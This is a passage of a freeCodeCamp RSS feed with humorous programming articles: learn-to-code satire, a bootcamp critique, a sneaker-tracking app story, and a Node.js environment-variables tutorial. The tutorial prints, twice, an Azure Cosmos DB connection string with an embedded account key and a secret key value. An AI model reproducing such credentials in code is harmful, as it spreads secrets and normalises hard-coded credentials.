<p>Everyone knows that interns are a cheaper alternative to hiring an in-office barista. In reality, you’ll spend all your time brewing coffee. Remember, all the <a target="_blank" href="https://medium.freecodecamp.org/how-doing-something-i-love-landed-me-a-top-tier-tech-internship-fe78d8b74e48">successful learn-to-code stories you have read</a> omit this crucial detail.</p>
<p>Similarly, applying for jobs is a <em>terrible</em> idea.</p>
<p>Yes, it is true that <a target="_blank" href="https://medium.freecodecamp.org/https-medium-com-samwcoding-how-to-get-your-first-developer-job-in-4-months-ec86da6e5d9a"><strong>looking at job applications can help you gauge which skills you should focus on developing next</strong></a>. But remember, companies always want you to be an expert at a hundred more skills than you can fit onto your resumé/CV, so this will be a never-ending process.</p>
<p>Even if you do apply for a job and get invited to an interview, be sure to decline. Interviews are scary, and never <a target="_blank" href="https://medium.freecodecamp.org/how-to-make-progress-while-studying-for-coding-interviews-894c320bfa74"><strong>get easier with practice and experience</strong></a>. A much safer bet is to shut your eyes and wait for the jobs to come to you.</p>
<p>Definitely <em>don’t</em> <a target="_blank" href="https://medium.freecodecamp.org/how-i-got-a-second-degree-and-earned-5-developer-certifications-in-just-one-year-while-working-and-2b902ee291ab"><strong>put yourself out there and aim high</strong></a><strong>!</strong></p>
<h3 id="heading-postscript">Postscript</h3>
<p>*Of course, if for some reason you wish to learn to code the easy way, follow the exact opposite of this advice.</p>
<p>Or maybe read just <strong>the bits in bold</strong>…</p>
<blockquote>
<p><strong>Pick a modern, accessible and universally used language like JavaScript or Python or Ruby.</strong></p>
<p><strong>… editors and IDEs are widely used throughout industry by pros and experienced developers</strong></p>
<p>Autocompletion, syntax highlighting, code-linting, and access to all kinds of extension packages all … make coding easier</p>
<p><strong>There are many beginner-friendly, step-by-step learning projects out there</strong></p>
<p><strong>It is as easy as it has ever been to start contributing to popular, open-source projects</strong></p>
<p><strong>StackOverflow… full of developers of all experience levels answering each other’s questions…</strong></p>
<p><strong>…software pros with expert knowledge they want to share with programmers at all stages</strong></p>
<p><strong>Practicing ‘little and often’ is the best way to learn a new skill</strong></p>
<p><strong>Even 20 minutes a day can make a difference</strong></p>
<p><strong>Get into a regular habit of making learning part of your normal routine</strong></p>
<p><strong>Reading around a topic helps you develop a broader understanding</strong></p>
<p><strong>Chance articles can spark your interest in directions you may never have considered otherwise</strong></p>
<p><strong>They can be high-quality, written by experts, and very often entirely free</strong></p>
<p><strong>Visit a bookstore or a library</strong></p>
<p><strong>Pair programming is a great way of learning tricks and tips from more experienced developers</strong></p>
<p><strong>Experienced developers like talking about what they do</strong></p>
<p>Ask all the same questions they had when they were starting out</p>
<p><strong>Internships can</strong> <strong>provide real world experience of working in software as part of a team</strong>. <strong>They can let you get real feedback on how you are progressing. They can also help you decide if you are ready for a particular job role</strong></p>
<p><strong>Looking at job applications can help you gauge which skills you should focus on developing next</strong></p>
<p><strong>Interviews… get easier with practice and experience</strong></p>
<p><strong>Put yourself out there and aim high!</strong></p>
</blockquote>
<p><strong>Thanks for reading!</strong></p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How not to run a Learn-to-Code Bootcamp ]]>
                </title>
                <description>
                    <![CDATA[ By Michelle Jones The story you are about to see is true; the names have been changed to protect the innocent. _Python code by [nyuhuhuu](https://www.flickr.com/photos/nyuhuhuu/4653088356" rel="noopener" target="blank" title="). Before the course be... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-not-to-run-a-learn-to-code-bootcamp-6815a5e9d4c7/</link>
                <guid isPermaLink="false">66c34e9b93db2451bd4414a7</guid>
                
                    <category>
                        <![CDATA[ bootcamp ]]>
                    </category>
                
                    <category>
                        <![CDATA[ humor ]]>
                    </category>
                
                    <category>
                        <![CDATA[ learning to code ]]>
                    </category>
                
                    <category>
                        <![CDATA[ General Programming ]]>
                    </category>
                
                    <category>
                        <![CDATA[ tech  ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ freeCodeCamp ]]>
                </dc:creator>
                <pubDate>Thu, 14 Jun 2018 19:57:34 +0000</pubDate>
                <media:content url="https://cdn-media-1.freecodecamp.org/images/1*VHaQiUoPy2IKcMvA-TCUDw.jpeg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>By Michelle Jones</p>
<h4 id="heading-the-story-you-are-about-to-see-is-true-the-names-have-been-changed-to-protect-the-innocent">The story you are about to see is true; the names have been changed to protect the innocent.</h4>
<p><img src="https://cdn-media-1.freecodecamp.org/images/WAC1tozpOUWbvjTgl176LKWzqKsTbXZXqmnB" alt="Image" width="800" height="528" loading="lazy">
_Python code by [nyuhuhuu](https://www.flickr.com/photos/nyuhuhuu/4653088356" rel="noopener" target="<em>blank" title=").</em></p>
<h3 id="heading-before-the-course-begins">Before the course begins</h3>
<p><img src="https://cdn-media-1.freecodecamp.org/images/miBJO5XunELMbtwgqIafWZSHQz6KP4cOyDUT" alt="Image" width="800" height="1187" loading="lazy">
_[1919 ad for a Comptometer training school](https://commons.wikimedia.org/wiki/File:Comptometer_ad_1919.png" rel="noopener" target="<em>blank" title=").</em></p>
<h4 id="heading-dont-identify-your-target-audience">Don’t identify your target audience</h4>
<p>Send the sign-up page to every subscriber under the sun who has ever given you their email address. Don’t have any information about their background or interests? Who cares, your course is SUPER IMPORTANT. It would be utterly remiss of you not to inform the hundreds of people who have ever entered their email address into your website.</p>
<h4 id="heading-dont-mention-the-course-content">Don’t mention the course content</h4>
<p>Who doesn’t love a mystery?</p>
<h4 id="heading-give-no-hint-about-pre-requisite-skills">Give no hint about pre-requisite skills</h4>
<p>Let the mystery continue with providing only vague suggestions about how much prior programming people should have, and vague suggestions about prior languages that might be helpful.</p>
<p>Don’t cover anything about the sorts of programming people should have done.</p>
<p>Should they be familiar with writing functions? If so, how complicated? Who cares?</p>
<h4 id="heading-provide-no-information-about-the-time-commitment">Provide no information about the time commitment</h4>
<p>Again, don’t spoil the mystery! Everyone who signs up to a bootcamp has loads of time to spare. Therefore, this information is completely irrelevant.</p>
<h3 id="heading-once-the-course-starts">Once the course starts</h3>
<p><img src="https://cdn-media-1.freecodecamp.org/images/EshqtmOTTlThg849q6Kh2elf8kGr-Oy6UTGZ" alt="Image" width="800" height="237" loading="lazy"></p>
<h4 id="heading-printing-to-the-console">Printing to the console</h4>
<p>It is compulsory for the initial code on the first day to print a message to the console. Be novel! Make them print something other than “Hello world”.</p>
<p><strong>It is extremely important for programmers to know how to only print text they have supplied in the print command.</strong></p>
<p>Don’t, whatever you do, emphasize how to incorporate results from their code into that print command on day 1. Bury this information.</p>
<h4 id="heading-bury-key-syntax-information">Bury key syntax information</h4>
<p>There are multiple pieces of information that can be buried!</p>
<p>Students must learn to read every sentence in your lesson carefully. Therefore, don’t put the key syntax points up the very top, at the start of lesson 1.</p>
<p>Instead, bury this information partway through lesson 1. Syntax is much less important than learning how to print “Hello world” to the console. It is also much less important than learning that <code>+</code> is the addition operator.</p>
<h4 id="heading-put-your-lessons-and-your-exercises-on-two-separate-screens">Put your lessons and your exercises on two separate screens</h4>
<p>Learning how to use two screens is a skill that programmers must learn eventually. How better to teach them than by splitting the lessons and exercises? I mean, books have tended to have exercises at the end of each chapter. The book model is super important to use in online courses.</p>
<h4 id="heading-headings-shmeadings">Headings, shmeadings</h4>
<p>When teaching people how to code, don’t use headings for each subsection in a lesson. The learning experience is enhanced by making students scroll backwards and forwards. The longer the lessons page, the better! There’s always the “Find” option in their browser!</p>
<p><strong>Bonus points</strong>: sometimes use headings, and sometimes not.</p>
<h4 id="heading-hints-and-solutions">Hints and solutions</h4>
<p>Hints and solutions that are commented out are useful to students. We sometimes get a bit stuck on why our code isn’t working. If we get really stuck, we can see how our code differs from the solution.</p>
<p>This experience is enhanced by ensuring that the hints and solutions return errors when run by students. Ignore the student comments that mention that the hints and solutions aren’t working.</p>
<p>This is particularly important in a bootcamp, where students have a different lesson each day, and the hints and solutions aren’t fixed ahead of the following day’s lesson.</p>
<h4 id="heading-penalize-students-for-creativity">Penalize students for creativity</h4>
<p>There is only one way to write code. Use examples that encourage thinking about user-supplied input. Do not tell your students how to get the user-supplied input. Bury the code on how to generate random numbers (which can be used for debugging) in exercises marked as difficult.</p>
<p>Do not anticipate that user is good with Googlefoo. Obviously, because they have some prior programming experience, they have never used Google to locate code examples.</p>
<p>But assume they have Googlefoo for working out how to create random numbers to test their code. Or that they read the entirety of exercises marked as particularly challenging.</p>
<p>Allow their code to run perfectly on their lessons page. Then, after the student commits the code and the code is public, put up huge errors.</p>
<p>It’s their own fault, they should have looked at the hint. They could have just used the solution if they were really stuck.</p>
<h4 id="heading-get-course-feedback-on-the-first-day">Get course feedback on the first day</h4>
<p>Everyone knows that the first lesson is the perfect time to get student feedback. The first lesson is the most difficult. How many students can correctly spell “Hello world”? Also, basic algebra is very complicated for programmers coming to a new language.</p>
<h3 id="heading-the-mystery-twist">The mystery twist</h3>
<p>I gave up after the second day.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ When you create software to learn programming, your most important user is you ]]>
                </title>
                <description>
                    <![CDATA[ By Roger Collier I had a problem. Before I tell you about this problem, be warned — you will get emotional if you keep reading. Your heart will break for me. There will be weeping, so much weeping. You will be tempted to start a GoFundMe page to help... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/when-you-create-software-to-learn-programming-your-most-important-user-is-you-c2e57cd5a75f/</link>
                <guid isPermaLink="false">66d460cca326133d12440a65</guid>
                
                    <category>
                        <![CDATA[ humor ]]>
                    </category>
                
                    <category>
                        <![CDATA[ JavaScript ]]>
                    </category>
                
                    <category>
                        <![CDATA[ General Programming ]]>
                    </category>
                
                    <category>
                        <![CDATA[ self-improvement  ]]>
                    </category>
                
                    <category>
                        <![CDATA[ tech  ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ freeCodeCamp ]]>
                </dc:creator>
                <pubDate>Wed, 28 Mar 2018 04:11:20 +0000</pubDate>
                <media:content url="https://cdn-media-1.freecodecamp.org/images/1*bOWJPYtqtG_SsaHUsplcOg.jpeg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>By Roger Collier</p>
<p>I had a problem. Before I tell you about this problem, be warned — you will get emotional if you keep reading. Your heart will break for me. There will be weeping, so much weeping. You will be tempted to start a GoFundMe page to help ease my burden.</p>
<p>OK, here it is. Ready? Grab a tissue.</p>
<p><strong>I have so many sneakers that I can’t remember all the pairs I own.</strong> Tragic, but true. The Red Cross has already declared this an international emergency.</p>
<p>Alright, alright — this is not a real problem. Well, maybe it’s the first-worldliest of first-world problems. Anyway, I’m not here to justify my obsession with retro sneakers (nostalgia, basketball fanatic, extra-feet syndrome). I’m here to explain why I created a web application to address this hyper-specific, undoubtedly trivial, quasi-problem-like situation that affects nobody but me.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/0wZ5Dmhb9MogRg7ge2kxCUHp5GpZ7d9kkvPS" alt="Image" width="799" height="1066" loading="lazy">
<em>I can neither confirm nor deny that I built a shelf in my basement just for (some of) my sneakers.</em></p>
<p>I <a target="_blank" href="https://medium.freecodecamp.org/make-your-hobby-harder-programming-is-difficult-thats-why-you-should-learn-it-e4627aee41a1">began to learn JavaScript</a> over a year ago as a hobby. I enjoy reading programming books, doing tutorials, and watching coding videos. Most of all, however, I like building things.</p>
<blockquote>
<p>I have one rule for every software project I start. The end result must be something I will actually use.</p>
</blockquote>
<p>Like anyone else, I sometimes need motivation to keep plugging away at a task when it becomes frustrating. Why am I sitting here debugging this code, in my free time, when I could be doing something far easier, like watching TV or drooling over <a target="_blank" href="https://www.instagram.com/p/BgpdPGvgK5h/?taken-by=nicekicks">Air Maxes on Instagram</a>?</p>
<p>Sure, I’ve been tempted to quit on a personal software project. There would be no consequences. Nobody would care. Yet I never have. I’ve finished every project I’ve started (all three!) because I know that, eventually, after much head-scratching and Googling and <em>sotto voce</em> cursing, each app I create will be useful — to at least one person. And that person is … Barbra Streisand. Sorry, typo. And that person is … me.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/o7k313oWVSSrZbLvjur4zqLndZxEW8TYTyzI" alt="Image" width="800" height="376" loading="lazy">
<em>Sneakerhead family photo.</em></p>
<p>Which brings us back to shoes. Some sneaker collectors stock but don’t rock. Not me. I’m the <a target="_blank" href="http://onthedm.com/style/five-types-of-sneakerheads/">type of sneakerhead</a> who wears all his shoes. On occasion, though, I’ve opened a long-sitting box to find myself looking at a pair of kicks that I not only hadn’t worn but had escaped my memory altogether.</p>
<blockquote>
<p>Seeing those poor sneakers just sitting there — neglected, unworn, unloved — caused me much anguish. Surely, no man has suffered such insufferable suffering.</p>
</blockquote>
<p>But save your sympathy, dear reader, and dry those eyes. For I have righted this horrible wrong, using nothing more than JavaScript and my wee, tiny brain. And Node. And Angular. And MongoDB. And Heroku. Stack Overflow also helped. And Git. And YouTube. Plus this computer-connecting thingy called “enterknit” or something.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/Q883UZpovbKYfbo72dCtM1jDnhYhwd9X3AjD" alt="Image" width="800" height="592" loading="lazy">
<em>He who is first shall be last, and he who is last shall be first. Eventually. My collection is much larger than this demo. I mean, can you even imagine owning only six pairs of sneakers? What am I, a caveman?</em></p>
<p>I created a very simple web application I called Collection Tracker (<a target="_blank" href="https://cryptic-reef-56444.herokuapp.com/demo">click here to try a demo</a>). It allows me to enter my sneaker collection into a database and browse a grid of images. Each morning, I open the application in Chrome (on my phone), I pick the pair I want to wear (on my feet), I press the “wear today” button (with my finger), and that day’s date is added to the database entry for those shoes (by digital magic).</p>
<p>The picture of that pair then drops to the last position of the last page of images. So when I open Collection Tracker, I first see pictures of the sneakers that have been sitting on my shelf the longest. No more neglected Nikes. No more abandoned ASICS. No more shunned Skechers. (Haha — Skechers. As if. Friends don’t let friends wear Skechers.)</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/XMkZOELjEvymoumU0sm8FnRLBpYNyaIe4Xmk" alt="Image" width="797" height="768" loading="lazy">
<em>This is just a test. I wouldn’t wear a pair four times in the same month. I have a reputation to uphold.</em></p>
<p>Could I have just downloaded an existing app to my phone to organize my sneaker collection? Yes, of course. But you know what? Using this app is much more fun for me because I made it. It’s silly, but I really do look forward to pressing that “wear today” button every morning. Because I know it will call a function in my program, and that function will generate an HTTP request to Node, and Node will tell MongoDB to update my database, and that day’s date will be pushed into an array somewhere out there in the cloud.</p>
<blockquote>
<p>There is something so rewarding about using the software you created from scratch. It’s not just text on GitHub. It’s not just part of a portfolio. It’s part of your life.</p>
</blockquote>
<p>I also still use the first web application I made, called <a target="_blank" href="http://www.first-and-last.com/">First and Last</a>, which I described in <a target="_blank" href="https://medium.freecodecamp.org/write-better-sentences-and-do-javascript-crud-with-mean-while-mostly-avoiding-acronyms-fe17905bcec5">a previous post for freeCodeCamp</a>. It allows users to enter the first and last sentences of books into a database. I intended it to be a learning resource for other writers who, like me, enjoy improving their craft by studying the work of great authors. For months after I deployed it, though, I was the only person using this app, as you can see from the GIF below.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/maj7snQkYzPmMaBe8rI7Om9lGVyU68u-7lQB" alt="Image" width="800" height="573" loading="lazy">
<em>These sentences were added by me, and by me, and by me, and also by … me.</em></p>
<p>Sure, it would be great if other people were interested in my project, but, again, I was fine with being the only user. Just as I enjoy using my sneaker-tracking app, I look forward to finishing a book so I can enter its first and last sentences into my database. Then I click back to the homepage and watch the number indicating the collection size increase by one. They say you should enjoy the little things in life, and this is indeed a little, but enjoyable, thing.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/C5F8N8Dey0P9PrNAI4lbFKMJoyJDM1z-f8ZK" alt="Image" width="800" height="346" loading="lazy">
<em>I have to read only 667 more books to reach quadruple digits.</em></p>
<p>Then, one day, I noticed something when I visited First and Last. Someone had entered a pair of sentences — and that someone wasn’t me! In fact, that someone was … Barbra Streisand. Again, I apologize. The Barbra Streisand key on my keyboard appears to be stuck. Let’s try that again.</p>
<p>In fact, that someone was … another human being (I presume). Since then, about 100 people have registered and logged into my app, and some have made contributions, which I really appreciate. Turns out that when you build something for yourself, it’s possible that other people will stumble upon it and use it as well.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/BR8qQPoeN8-7Ke1MzKBZ3txyyP1lNYxu8aPE" alt="Image" width="800" height="632" loading="lazy">
<em>Hello other humans! Thanks for the sentences.</em></p>
<p>One of the most fun parts of learning programming, if not the most fun part, is creating new things that actually do something. First, you had a blank screen on a text editor. Then you wrote some code. Then you had software — it may not be elegant or sophisticated or efficient, but it works. It performs the tasks you wanted it to perform. Maybe you’ll end up being the only person who ever uses that software. So what.</p>
<blockquote>
<p>If it’s useful to you, it’s useful.</p>
</blockquote>
<p>You may not have saved the world, or made any money, or attracted many users, but you made something from nothing. You learned a lot and created a tool that makes your life a little more convenient, or a little more fun. You added something of value to the universe — limited value, perhaps, but value nonetheless. The only code guaranteed to be useless is the code you don’t write.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Here’s how you can actually use Node environment variables ]]>
                </title>
                <description>
                    <![CDATA[ By Burke Holland Environment variables are a fundamental part of Node development, but for some reason I never bothered with learning how to properly use them. Maybe because they are called “Environment Variables.” Just the words “Environment Variabl... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/heres-how-you-can-actually-use-node-environment-variables-8fdf98f53a0a/</link>
                <guid isPermaLink="false">66d45dd751f567b42d9f8433</guid>
                
                    <category>
                        <![CDATA[ humor ]]>
                    </category>
                
                    <category>
                        <![CDATA[ JavaScript ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Node.js ]]>
                    </category>
                
                    <category>
                        <![CDATA[ General Programming ]]>
                    </category>
                
                    <category>
                        <![CDATA[ tech  ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ freeCodeCamp ]]>
                </dc:creator>
                <pubDate>Thu, 08 Mar 2018 06:17:53 +0000</pubDate>
                <media:content url="https://cdn-media-1.freecodecamp.org/images/1*akTd5oP32aXargVxiCOB8g.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>By Burke Holland</p>
<p>Environment variables are a fundamental part of Node development, but for some reason I never bothered with learning how to properly use them.</p>
<p>Maybe because they are called “Environment Variables.”</p>
<p>Just the words “Environment Variable” trigger a PTSD-laced flashback in which I am trying to add the correct path to the Java Home directory on Windows. Does it go in PATH or JAVA_HOME or both? Do I need to end it with a semicolon? WHY AM I USING JAVA?</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/ALjN6DcPA7VdZAcLA1vpTCzYLdx1lU3NtbOW" alt="Image" width="357" height="155" loading="lazy">
_KILL<em>ME</em></p>
<p>In Node, environment variables can be global (like on Windows), but are often used with a specific process that you want to run. For instance, if you had a web application, you might have environment variables that define:</p>
<ul>
<li>The HTTP Port to listen on</li>
<li>The Database Connection String</li>
<li>The JAVA_HOME…wait…no — sorry. The healing process takes time.</li>
</ul>
<p>In this context, environment variables are really more like “Configuration Settings.” See how much nicer that sounds?</p>
<p>If you’ve done .NET before, you might be familiar with something like a <code>web.config</code> file. Node environment variables work much the same was as settings in a <code>web.config</code> — they’re a way for you to pass in information that you don’t want to hard code.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/lPJ7qP4TxdCmfuP6yYy5vnHuoUa8WH23RSqh" alt="Image" width="634" height="581" loading="lazy">
<em>Quoting yourself is the pinnacle of delusion</em></p>
<p>But how do you <strong>use</strong> these variables in your Node application? I had a hard time finding good resources on this with the requisite amount of Java jokes, so I decided to create one. Here are some of the different ways you can define and then read environment variables in your Node applications.</p>
<h4 id="heading-pass-it-in-the-terminal">Pass it in the terminal</h4>
<p>You can pass environment variables on the terminal as part of your Node process. For instance, if you were running an Express app and wanted to pass in the port, you could do it like this…</p>
<pre><code class="lang-bash">PORT=65534 node bin/www
</code></pre>
<p>Fun fact: port 65535 is the largest TCP/IP network value available. How do I know that? <a target="_blank" href="https://stackoverflow.com/questions/113224/what-is-the-largest-tcp-ip-network-port-number-allowable-for-ipv4">StackOverflow of course</a>. How does anybody know anything? But you can only go as high as port 65534 for a web app because that’s the highest port Chrome will connect to. How do I know <strong>that?</strong> Because <a target="_blank" href="https://www.freecodecamp.org/news/heres-how-you-can-actually-use-node-environment-variables-8fdf98f53a0a/undefined">Liran Tal</a> told me in the comments. You should follow him. Between the two of us he’s the one who knows what he’s doing.</p>
<p>Now to use the variable in your code, you would use the <code>process.env</code> object.</p>
<pre><code class="lang-js"><span class="hljs-keyword">var</span> port = process.env.PORT;
</code></pre>
<p>But this could get ugly. If you had a connection string, you probably wouldn’t want to start passing multiple variables on the terminal. It would look like you are hoarding configuration values, and someone who loves you could stage an intervention and that would be awkward for everyone involved.</p>
<pre><code>PORT=<span class="hljs-number">65534</span>
DB_CONN=<span class="hljs-string">"mongodb://react-cosmos-db:swQOhAsVjfHx3Q9VXh29T9U8xQNVGQ78lEQaL6yMNq3rOSA1WhUXHTOcmDf38Q8rg14NHtQLcUuMA==@react-cosmos-db.documents.azure.com:10255/?ssl=true&amp;replicaSet=globaldb"</span>
SECRET_KEY=<span class="hljs-string">"b6264fca-8adf-457f-a94f-5a4b0d1ca2b9"</span>
</code></pre><p>This doesn’t scale, and everyone wants to scale. According to every architect I’ve ever sat in a meeting with, “scaling” is more important than the application even working.</p>
<p>So let’s look at another way: .env files.</p>
<h4 id="heading-use-a-env-file">Use a .env file</h4>
<p>.env files allow you to put your environment variables inside a file. You just create a new file called <code>.env</code> in your project and slap your variables in there on different lines.</p>
<pre><code>PORT=<span class="hljs-number">65534</span>

DB_CONN=<span class="hljs-string">"mongodb://react-cosmos-db:swQOhAsVjfHx3Q9VXh29T9U8xQNVGQ78lEQaL6yMNq3rOSA1WhUXHTOcmDf38Q8rg14NHtQLcUuMA==@react-cosmos-db.documents.azure.com:10255/?ssl=true&amp;replicaSet=globaldb"</span>

SECRET_KEY=<span class="hljs-string">"b6264fca-8adf-457f-a94f-5a4b0d1ca2b9"</span>
</code></pre><p>To read these values, there are a couple of options, but the easiest is to use the <code>dotenv</code> package from npm.</p>
<pre><code class="lang-bash">npm install dotenv --save
</code></pre>
<p>Then you just require that package in your project wherever you need to use environment variables. The <code>dotenv</code> package will pick up that file and load those settings into Node.</p>
<pre><code class="lang-js">Use dotenv to read .env vars into Node
<span class="hljs-built_in">require</span>(<span class="hljs-string">'dotenv'</span>).config();
<span class="hljs-keyword">var</span> MongoClient = <span class="hljs-built_in">require</span>(<span class="hljs-string">'mongodb'</span>).MongoClient;

<span class="hljs-comment">// Reference .env vars off of the process.env object</span>
MongoClient.connect(process.env.DB_CONN, <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params">err, db</span>) </span>{
  <span class="hljs-keyword">if</span>(!err) {
    <span class="hljs-built_in">console</span>.log(<span class="hljs-string">"We are connected"</span>);
  }
});
</code></pre>
<p>PROTIP: Don’t check your <code>.env</code> file into Github. It has all you secrets in it and Github will email you and tell you so. Don’t be like me.</p>
<p>OK — Nice. But this is kind of a pain. You have to put this in every single file where you want to use environment variables AND you have to deploy the <code>dotenv</code> to production where you don’t actually need it. I’m not a huge fan of deploying pointless code, but I guess I just described my whole career.</p>
<p>Luckily, you are using <a target="_blank" href="https://code.visualstudio.com/?wt.mc_id=dotenv-medium-buhollan">VS Code</a> (because <strong>of course you are</strong>), so you have some other options.</p>
<h4 id="heading-working-with-env-files-in-vs-code">Working with .env files in VS Code</h4>
<p>First off, you can <a target="_blank" href="https://marketplace.visualstudio.com/items?itemName=mikestead.dotenv&amp;wt.mc_id=dotenv-medium-buhollan">install the DotENV extension</a> for code which will give you nice syntax highlighting in your .env files.</p>
<p><a target="_blank" href="https://marketplace.visualstudio.com/items?itemName=mikestead.dotenv&amp;WT.mc_id=dotenv-medium-buhollan"><strong>DotENV - Visual Studio Marketplace</strong></a><br><a target="_blank" href="https://marketplace.visualstudio.com/items?itemName=mikestead.dotenv&amp;WT.mc_id=dotenv-medium-buhollan"><em>Extension for Visual Studio Code - Support for dotenv file syntax</em></a><br><a target="_blank" href="https://marketplace.visualstudio.com/items?itemName=mikestead.dotenv&amp;WT.mc_id=dotenv-medium-buhollan">marketplace.visualstudio.com</a></p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/5TqqPI4CyihReGrXCaFqLDEAADqD-AJtHS4Y" alt="Image" width="800" height="590" loading="lazy"></p>
<p>The VS Code Debugger also offers some more convenient options for loading values from .env files <strong>if</strong> you are using the VS Code Debugger.</p>
<h4 id="heading-vs-code-launch-configurations">VS Code Launch Configurations</h4>
<p>The Node debugger for VS Code (already there, no need to install anything) supports loading in .env files via launch configurations. You can read more more about Launch Configurations <a target="_blank" href="https://code.visualstudio.com/docs/nodejs/nodejs-debugging?WT.mc_id=dotenv-medium-buhollan">here</a>.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/f6NKkdg6vZOubtIzh4k4EGEVUWtvC7ZC88SK" alt="Image" width="800" height="450" loading="lazy"></p>
<p>When you create a basic Node Launch Configuration (click on the gear and select Node), you can do one or both of two things.</p>
<p>The first is you can simply pass variables in on the launch config.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/OKoRgCmVBQJG3p2ZQ9em6NaMIYwNauEwp6Wd" alt="Image" width="800" height="450" loading="lazy"></p>
<p>This is nice, but the fact that every value has to be a string bothers me a bit. It’s a number, not a string. JavaScript only has, like, 3 types. Don’t take one of them away from me.</p>
<p>There is a simpler way here. We’ve already learned to love <code>.env</code> files, so instead of passing them, we can just give VS Code the name of the .env file.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/5mkXYjMBORiWKSTBZzCcZTK33ubGUTFy7SuZ" alt="Image" width="800" height="450" loading="lazy"></p>
<p>And as long as we are starting our process from VS Code, environment variables files are loaded in. We don’t have to mutilate numbers into strings and we aren’t deploying worthless code into production. Well, at least you aren’t.</p>
<h4 id="heading-starting-with-npm-instead-of-node">Starting with NPM instead of Node</h4>
<p>You might have gotten this far and thought, “Burke, I never ever run <code>node</code> anything. It’s always an npm script like <code>npm start</code>”.</p>
<p>In this case you can still use VS Code Launch configs. Instead of using a standard Node Launch process, you add a config that is a “Launch Via NPM” task.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/7tUmGEn-i6T30kHkzfXYj5qzAK8rB6qMTZir" alt="Image" width="800" height="450" loading="lazy"></p>
<p>Now you can add back in your <code>envFile</code> line and tweak the <code>runtimeArgs</code> so that they launch the correct script. This is <em>usually</em> something like “start” or “debug”.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/bkDqIcWImMhXbMrGry73ABhvBWCG2x5Sy92k" alt="Image" width="800" height="450" loading="lazy"></p>
<p><strong>Note that you have to add the <code>--inspect</code> flag to your npm script so that VS Code can attach the debugger</strong>. Otherwise the task will launch, but the VS Code debugger will time out like me trying to get a date in high school.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/tGcPy6sdBlu9sR1OD07VdHD9MuSgj9-uDb7K" alt="Image" width="800" height="450" loading="lazy"></p>
<h3 id="heading-production-environment-variables">Production environment variables</h3>
<p>So far we’ve looked at how to define variables for development. You likely won’t use .env files in production, and VS Code Launch Configurations aren’t going to be super helpful on a server.</p>
<p>In production, variables will be defined however your platform of choice allows you to do so. In the case of Azure, there are 3 different ways to define and manage environment variables.</p>
<p>The first way is to use the <a target="_blank" href="https://docs.microsoft.com/en-us/cli/azure/webapp/config/appsettings?view=azure-cli-latest&amp;wt.mc_id=dotenv-medium-buhollan">Azure CLI</a>.</p>
<pre><code class="lang-bash">az webapp config appsettings <span class="hljs-built_in">set</span> -g MyResourceGroup -n MyApp --settings PORT=65534
</code></pre>
<p>Which works, but, ew.</p>
<p>Another way is via the Azure web portal. I don’t always use a web portal, but when I do, it’s to set environment variables.</p>
<p>In the case of Azure, these are called “Application Settings”.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/prz52i4eiyXapzYAPqEIQ9ggSnCYwFGTYWzi" alt="Image" width="800" height="577" loading="lazy"></p>
<p>And since you are using VS Code, you can install the App Service extension and manage all the App Settings <a target="_blank" href="https://marketplace.visualstudio.com/items?itemName=ms-azuretools.vscode-azureappservice&amp;WT.mc_id=dotenv-medium-buhollan">right from the editor</a>.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/4L4UwQ0TYob3wz--qcO2AQfmjFIxhMQ6ecax" alt="Image" width="800" height="450" loading="lazy"></p>
<p>I love not having to leave VS Code to do anything. I would write emails in VS Code if I could.</p>
<p>WAIT A MINUTE!</p>
<p><a target="_blank" href="https://marketplace.visualstudio.com/items?itemName=ccccly.markdown-mail&amp;WT.mc_id=dotenv-medium-buhollan"><strong>markdown-mail - Visual Studio Marketplace</strong></a><br><a target="_blank" href="https://marketplace.visualstudio.com/items?itemName=ccccly.markdown-mail&amp;WT.mc_id=dotenv-medium-buhollan"><em>Extension for Visual Studio Code - Using markdown to write your email and send！</em></a><br><a target="_blank" href="https://marketplace.visualstudio.com/items?itemName=ccccly.markdown-mail&amp;WT.mc_id=dotenv-medium-buhollan">marketplace.visualstudio.com</a></p>
<h3 id="heading-now-you-know">Now you know</h3>
<p>Now you know what I know (which aint a lot, let me tell you) and I feel like I accomplished my goal of a tasteful amount of Java jokes along the way. Just in case I didn’t, I’ll leave you with this one.</p>
<blockquote>
<p>Java is a very powerful tool for turning XML into stack traces  </p>
<p>— Unknown</p>
</blockquote>
<p><em>Satire Disclaimer: Most of this is a poor attempt at humor, and some of it at the expense of Java; which isn’t nice but is very easy. These jokes don’t write themselves.</em></p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ HTTPS explained with carrier pigeons ]]>
                </title>
                <description>
